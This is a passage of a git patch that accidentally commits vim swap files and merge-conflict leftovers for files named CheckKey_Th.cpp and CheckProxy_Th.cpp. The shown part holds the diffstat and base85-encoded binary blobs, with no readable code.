From 3cdf7c6a10e54432434148ca33a67cd74ff4ec78 Mon Sep 17 00:00:00 2001 From: cora48 Date: Wed, 25 Feb 2015 10:43:21 +0300 Subject: [PATCH] rqw --- .CheckKey_Th.cpp.LOCAL.2427.cpp.swp | Bin 0 -> 16384 bytes .CheckKey_Th.cpp.LOCAL.2593.cpp.swp | Bin 0 -> 16384 bytes .CheckKey_Th.cpp.LOCAL.2715.cpp.swp | Bin 0 -> 16384 bytes .CheckKey_Th.cpp.LOCAL.2915.cpp.swp | Bin 0 -> 16384 bytes .CheckKey_Th.cpp.REMOTE.2427.cpp.swp | Bin 0 -> 16384 bytes .CheckKey_Th.cpp.REMOTE.2915.cpp.swp | Bin 0 -> 16384 bytes .CheckKey_Th.cpp.swo | Bin 0 -> 16384 bytes .CheckKey_Th.cpp.swp | Bin 0 -> 16384 bytes CheckKey_Th.cpp | 48 +- CheckKey_Th.cpp.BACKUP.2427.cpp | 300 +++ CheckKey_Th.cpp.BACKUP.2593.cpp | 300 +++ CheckKey_Th.cpp.BACKUP.2715.cpp | 300 +++ CheckKey_Th.cpp.BACKUP.2915.cpp | 300 +++ CheckKey_Th.cpp.BASE.2427.cpp | 0 CheckKey_Th.cpp.BASE.2593.cpp | 0 CheckKey_Th.cpp.BASE.2715.cpp | 0 CheckKey_Th.cpp.BASE.2915.cpp | 0 CheckKey_Th.cpp.LOCAL.2427.cpp | 270 +++ CheckKey_Th.cpp.LOCAL.2593.cpp | 270 +++ CheckKey_Th.cpp.LOCAL.2715.cpp | 270 +++ CheckKey_Th.cpp.LOCAL.2915.cpp | 270 +++ CheckKey_Th.cpp.REMOTE.2427.cpp | 270 +++ CheckKey_Th.cpp.REMOTE.2593.cpp | 270 +++ CheckKey_Th.cpp.REMOTE.2715.cpp | 270 +++ CheckKey_Th.cpp.REMOTE.2915.cpp | 270 +++ CheckKey_Th.cpp.orig | 300 +++ CheckProxy_Th.cpp.BACKUP.3053.cpp | 208 ++ CheckProxy_Th.cpp.BASE.3053.cpp | 0 CheckProxy_Th.cpp.LOCAL.3053.cpp | 154 ++ CheckProxy_Th.cpp.REMOTE.3053.cpp | 154 ++ connector.cpp | 2 +- connector.cpp.autosave | 2829 -------------------------- main.cpp | 2 +- 33 files changed, 4183 insertions(+), 2874 deletions(-) create mode 100644 .CheckKey_Th.cpp.LOCAL.2427.cpp.swp create mode 100644 .CheckKey_Th.cpp.LOCAL.2593.cpp.swp create mode 100644 .CheckKey_Th.cpp.LOCAL.2715.cpp.swp create mode 100644 .CheckKey_Th.cpp.LOCAL.2915.cpp.swp create mode 100644 .CheckKey_Th.cpp.REMOTE.2427.cpp.swp create mode 100644 .CheckKey_Th.cpp.REMOTE.2915.cpp.swp create mode 100644 .CheckKey_Th.cpp.swo create mode 100644 .CheckKey_Th.cpp.swp create mode 100644 CheckKey_Th.cpp.BACKUP.2427.cpp create mode 100644 CheckKey_Th.cpp.BACKUP.2593.cpp create mode 100644 CheckKey_Th.cpp.BACKUP.2715.cpp create mode 100644 CheckKey_Th.cpp.BACKUP.2915.cpp create mode 100644 CheckKey_Th.cpp.BASE.2427.cpp create mode 100644 CheckKey_Th.cpp.BASE.2593.cpp create mode 100644 CheckKey_Th.cpp.BASE.2715.cpp create mode 100644 CheckKey_Th.cpp.BASE.2915.cpp create mode 100644 CheckKey_Th.cpp.LOCAL.2427.cpp create mode 100644 CheckKey_Th.cpp.LOCAL.2593.cpp create mode 100644 CheckKey_Th.cpp.LOCAL.2715.cpp create mode 100644 CheckKey_Th.cpp.LOCAL.2915.cpp create mode 100644 CheckKey_Th.cpp.REMOTE.2427.cpp create mode 100644 CheckKey_Th.cpp.REMOTE.2593.cpp create mode 100644 CheckKey_Th.cpp.REMOTE.2715.cpp create mode 100644 CheckKey_Th.cpp.REMOTE.2915.cpp create mode 100644 CheckKey_Th.cpp.orig create mode 100644 CheckProxy_Th.cpp.BACKUP.3053.cpp create mode 100644 CheckProxy_Th.cpp.BASE.3053.cpp create mode 100644 CheckProxy_Th.cpp.LOCAL.3053.cpp create mode 100644 CheckProxy_Th.cpp.REMOTE.3053.cpp delete mode 100644 connector.cpp.autosave diff --git a/.CheckKey_Th.cpp.LOCAL.2427.cpp.swp b/.CheckKey_Th.cpp.LOCAL.2427.cpp.swp new file mode 100644 index 0000000000000000000000000000000000000000..96cb604df7d58767e0d399ed0e517789fa481b6b GIT binary patch literal 16384 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 literal 0 HcmV?d00001 diff --git a/.CheckKey_Th.cpp.LOCAL.2593.cpp.swp b/.CheckKey_Th.cpp.LOCAL.2593.cpp.swp new file mode 100644 index 0000000000000000000000000000000000000000..ceb9b6cfddc8cb9c608c135618268a6b741b0fd3 GIT binary patch literal 16384 zcmeI3TWllM8OIO11?mEYQd(3b)DtgS&7_H)WOqUJl5JDRyNNcp#$LADu(ifB$M!V# z88dV2B)hCC0Z%|5TD3e>q7vevTUwAnJOh;~A*fV|$MRIEt=gAfB=)JIm;ZNW#&P28 zg$0Qgol$u;+xvdX)MpqAgFsR6)sFSZ z>4}yvdRIx9Zw76VU++cv*}(0#g;Y_#xDp266)t{B5xGvj*c9&iNwHO}G;?mJlUrCW z&Mf4nj(qhHonFO&i8cxt1+JjLZS2t0gL-$SGJB@KH#`MzP-_kWUu($eun{Ke9A|4!m>O~Usl5ovr9Y`%;F zMggOMQNSo*6fg=H1&jhl0i%FXz$jo8_!ty$JjM#JTcZsCJpWJc|KGcvv3J4i;3e=3 z*aDm2Ah-`?z#l%#*gN32;3D`j_yJf4C2%8P;QiYe`zLq-Tm;_-4R8vqf-&$V@CEQb zHWA(ezXorB*T65pGvG%+0Rd`Y1l$Ea2mW;nY=Bq6&%pEGY48Ym2%G{Bf_uPU@P5Oe z!8_nJa1lHX+F%ZhfSbWh;8KRM_rP=DIC%5ZjQt9%gTLL3a=;7V=b#3@3~mRvg2!%R ztOHz71>XTjz+rG77y-}T$kHUzie0){7!tV)>Mmx1Cvr{#Mi*|^a2RI*>UT9O~*_aC2 z(_BsQajquuff8CmTG^&jokBjJWJdfnMd8n~+@=$b+7^<3WjMJ##LXCeIg2{LkRrO-(BF_chs>auMUDB;^83>HN@2)E*z z4#c9uNmF*ti4V~ck&xbA9YNt-1s`!YB zJCmr7x~aN%lh&rz;|A-o<#-+zgo6|^gP&vR5J&@T8k#$scSf{Y!Nz5lwN>#*7vr5) zvSeNJJGq>m4lEO|mYm9_!Gtgfv|4r3Is=RiWj@NOWoXjJ+Avh&dYe|Rc4e-7<@Wh??uk0u?pdejmkv$Y{Lx4IA=N#C z(y)UE`AC|xS}mSAfwa{st)g?w+iPm};qYNe=w)~)rWnscT%QZv zZ3U6oJK49!m*|bo-k}1ogx%pp$#ByXWWY9`t5jCPz+QBx`Q=M5&^)qk+jB)#IuYgt(~irV3BuIkJ66Ia1>V0waJO8fgHOp*_mBS%H`c8 z@|fV%G*okkXVkyGrpv+lf{^?{j=_cN(oX;2gBh#)qUDh-(e9|Nz8%bbZ35SEy5`a) zGd@q
Hi2qV-Ny?UNe0{qr51B-Cc@ug+!Kmo^azP@}C9YKC1>Z--jA2fy~b-jlr zbc}aYIEe-M9NHC~n<&OM@Wjt~7FObHM2vJbOW?Ayo~qbcO=wv1uxTY z>R0E7qcEN5oqCGsgifRF@BnT(qx=8g;Qst>+{@GbKW?M-@k^Ws;4D}H%ituK11CTp zjDvds<^3Wshf%;NU=%P47zK<1MggOMQNSo*6fg=H1^&+zpbe$n8&I?{r8i*){ztt~ z2)nd5#V7;Vy>~YJL8+8SsV~3pH~x*} dsT&@Hb?~409^de34^Zj{qqP5oM+|y*?!Sul0#*P3 literal 0 HcmV?d00001 diff --git a/.CheckKey_Th.cpp.LOCAL.2715.cpp.swp b/.CheckKey_Th.cpp.LOCAL.2715.cpp.swp new file mode 100644 index 0000000000000000000000000000000000000000..644ffad324e09c85d501d9b33f71367afc5bec75 GIT binary patch literal 16384 zcmeI3TWlj&8OKj|X^WwyTnZJH5GUShH4_p$&hEC7w^;~|cN1-H#NIC3bg{-W$Mz8W zj5~AeB)eT9QJyF~fS?aZtyJ;AwuK5%p9@Gx2#`R1q)(LqwJ$A5-6vEo|L@F<pJ$4P41E_7->soCLr5AY;D*8{o~`Q4V+xJPYdJv*0dp2l)DJ zjCFwvYTzs27&r><17qN+TN!%-d=p#(+h7Zv1GC@@;2yxh?>+$g;OF24@DuP9_yM>Z z900d~D+d|-JNO&;3-}Xw5&R5%7n}tZ@ELFgeg9YRDtH2Hf<9;h8W#?@`6H9bTw?gh zghKT~$tMfPF?4X0DwUPe>2lSI0(ZkcuEQdwCQo=lx#KH8kZZy_8T6z#=P1X@uH&^3 z?$Y}q=lSHCaE0F&9*;!W7a@;S=*uSeBQ68Q`%c^U#r<&X z&S$uq=963%@PQKALR#6DQr%)cpJYb-3`OD3vfP#vj@uTJe{M9nJ;Ad{F0u%N?<5-^ zo8il678j{@D1TtH6E#upaGg;2PT6~+2c>Y9p~~`cH4R~tpIZ1!IN#G1qaAU>-4F`5 zZ`nNVTH)n*$&u6n6wVuA(BXBb?MPRIV>}DhzEsiuR4mF~r!GS4Y-RS8P>W8a%3&CU zmTe&R4_{BI}m&dYHMw%l=WkU>GKf&;uIOVu~KLx`xr{7I(6BO36$`#2!kcj3Bv8T zrbDr)aMG0BbK+feL?ooQUq?_lSHXMS4T(D1D9zqf<9G_C8t>Q2{igj5k2W`u67P!b z*UlvBy>6=R-K4dt^|--$Y&o8X1>rD-%;M)nIt0=Hn}+7@=A9GmcCdMsWo=D7+QWFK zl`L7;{BAC%rvuBxt0kwhX|Ul-D2vaYtSu~;s}r1}YnAF+d3I@nFRZSvtyEWP)zT`r zk8^ei!@zH_jA%!KWBF(Wk(y}=Mc?&p>2w6QFsmwIA2Y+UdNT5x602)Fkj-(M4_cUu zd|9Jb+v`&_S@tF!x2eR*6D^&n*7hSsDe(s(VAq#I>8R8iO~Zxd*}1v3+VaYB+1BkM zEeDozkCT#(eI$HD5_%aPi7Cai5ZC7- zciTZE_D}ZZ$z^(@vwx(>t6^_6Q8L{01R1i;=d0D#d?7bQ6_`i;ihQJe%Ib#k+#1Rn zUwx^*-DJ(po+?*$b~G@Vqk3F*gAf-L-co^#EJp=?G8|VCz6hz~c{`k=;dK1=Hu5C% zja1WR(qyRlaxiXVIrUXVdUaIO@2d6tkM3Mq22t8^8I8i~xn7u>9?G%zlAYPJq+H!i zB9949O;fdYc}9clYq}h4EDFgV*EUK$J`aE4NoCrFtn;vzt$b?A_17CTZpH1*JY zN(4h#U@JQ76$HE>Vi>H7(+$z=UY+eqK3)|Rg!hcXNVgS*IaAT4}6bf$*%P3 zNUeQQKCVlMYn7HW0Uwz>zqmr_SzKJ)ToS{+u6E?(UZ^CMyD1^bsUDOtBzIb9tOPmT zY29_F{MTz=-g@`yvqQdg+dWV4tk_Z_lqY-ArF)(z*UFAW(hbn=@Cx3K-<43$6}(Kp zrC*&Njly)Icj_sk8#>L7!vnbGjPCz`kNfj`a4%2y|G16T$B%Iyfb(D#tbo&C9-IPs zFbVDjl=oA>97X}7fKk9GU=%P47zK<1MggOMQNSo*6!;%gfHsu&Za~q-l-`6H`XBXT zG3?Ra6r&7a@7~$y6CG>~HRnXV*IWubf$i>H4?K0m&a;8!X_?Mx&HwEHv>Qb literal 0 HcmV?d00001 diff --git a/.CheckKey_Th.cpp.LOCAL.2915.cpp.swp b/.CheckKey_Th.cpp.LOCAL.2915.cpp.swp new file mode 100644 index 0000000000000000000000000000000000000000..2252168b52089ec143d35924174e6172140800fa GIT binary patch literal 16384 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 literal 0 HcmV?d00001 diff --git a/.CheckKey_Th.cpp.REMOTE.2915.cpp.swp b/.CheckKey_Th.cpp.REMOTE.2915.cpp.swp new file mode 100644 index 0000000000000000000000000000000000000000..f5341546763af36b7ce58c3fab653c34c96e0ab2 GIT binary patch literal 16384 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 E0Yu(X?*IS* literal 0 HcmV?d00001 diff --git a/.CheckKey_Th.cpp.swp b/.CheckKey_Th.cpp.swp new file mode 100644 index 0000000000000000000000000000000000000000..2cb153db70d9375440db4299cf02bd46168e990c GIT binary patch literal 16384 zcmeI3TWlj&8OLY0Y+FMwlolb75GUShH4ctrC)uRy-Gq7*XA^C1jh$VVv{>VrV|$1_ zXta;r{hpQmM^zz}0!jg;fKosypcGIFC|4dyHnGC4!#GT1((4l*Z{}Cy&wX9bBCtA 